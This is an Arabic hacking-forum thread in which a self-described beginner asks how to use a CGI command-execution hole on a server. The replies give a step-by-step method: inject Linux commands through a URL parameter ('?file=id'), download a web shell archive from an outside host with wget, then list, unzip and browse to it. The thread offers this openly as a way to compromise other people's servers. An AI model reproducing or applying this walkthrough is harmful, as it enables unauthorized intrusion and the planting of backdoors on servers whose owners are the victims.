اشترك في قناتنا ليصلك جديدنا

اشترك في قناتنا على اليوتيوب ليصلك جديدنا

كذلك الاعجاب بصفحتنا على الفيسبوك

سؤال هام جدا جدا

سؤال هام جدا جدا


النتائج 1 إلى 3 من 3

الموضوع: سؤال هام جدا جدا

  1. #1
    هكر مبتديء Array
    تاريخ التسجيل
    Oct 2010
    المشاركات
    19

    افتراضي سؤال هام جدا جدا



    السلام عليكم
    انا معى ثغرة cgi
    و هى من الثغرات التى عبارة عن تطبيق اوامر اللينكس على المتصفح و لكن المشكلة اننى لا اعرف اى اوامر انفذها و لا الكيفية



  2. #2
    هكر مجتهد Array الصورة الرمزية Hidden pain
    تاريخ التسجيل
    May 2010
    الدولة
    بلد المليون و نصف المليون شهيد
    المشاركات
    592

    افتراضي رد: سؤال هام جدا جدا

    تنفذ أوامر اللينكس في هذه الثغرات عن طريق وضع الأمر المراد تنفيذه في الاستغلال
    مثلا هذا استغلال target.com/path/vuhunable.cgi?file=id
    في هذا المثال طبقت الأمر id الذي يضهر صلاحياتنا على السرفر
    أرجو أن أكون قد أفدت


  3. #3

    افتراضي رد: سؤال هام جدا جدا

    بالنسبة لثغرات الsql هي كثيرة ولها اوامرها الخاصة تقدر تفوت قسم المواقع والسيرفرات وتلاقي دورات ودروس كثيرة من اخواني الأعضاء واذا عندك اي استفسار عنها انا جاهز

    اما cgi فهي عبارة عن تطبيق اوامر على السيرفر مباشرة والأوامر هي اوامر لينكس وهي موجود في هذا الرابط

    http://www.aljyyosh.com/shell.html

    وكمثال الأخ Hidden pain

    target.com/path/vuhunable.cgi?file=id

    id هو امر معرفة صلاحيتك على السيرفر

    اذا كنت تريد رفع شيل على السيرفر نستخدم امر السحب
    wget

    وبعدها رابط للشيل بشرط ان يكون مرفوع على موقع وبصيغة zip كمثال :

    http//:www.xxx.com/shell.zip

    يعني يكون الأمر هكذا
    wget

    http//:www.xxx.com/shell.zip

    وبعدها نقوم بأظهار الملفات على المسار الي رفعنا فيه الشيل بأمر
    ls
    ونشوف اذا الشيل مرفوع او لا

    وبعدها نفك ضغط الشيل بأمر

    unzip
    يعني يصبح الأمر هكذا

    unzip shell.zip

    ونشوف مسار الشيل ونتصفحه على المستعرض
    والباقي كثير بس هاذ اهم شي

    تحياتي



المواضيع المتشابهه

  1. سؤال
    بواسطة Virus-c1 في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 4
    آخر مشاركة: 07-14-2012, 10:46 PM
  2. سؤال مهم
    بواسطة H_iChaM في المنتدى منتدى الإختراق العام
    مشاركات: 1
    آخر مشاركة: 09-22-2010, 08:03 PM
  3. سؤال
    بواسطة سحاب3 في المنتدى منتدى الإختراق العام
    مشاركات: 6
    آخر مشاركة: 09-18-2010, 07:13 PM
  4. سؤال مهم
    بواسطة MrMemo في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 1
    آخر مشاركة: 12-28-2009, 01:29 PM
  5. سؤال عن..؟
    بواسطة الطن في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 2
    آخر مشاركة: 12-27-2009, 04:47 PM

وجد الزوار هذه الصفحة بالبحث عن:

لم يصل أحد إلى هذه الصفحة عن طريق محرك بحث، ذلك حتى الآن!

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •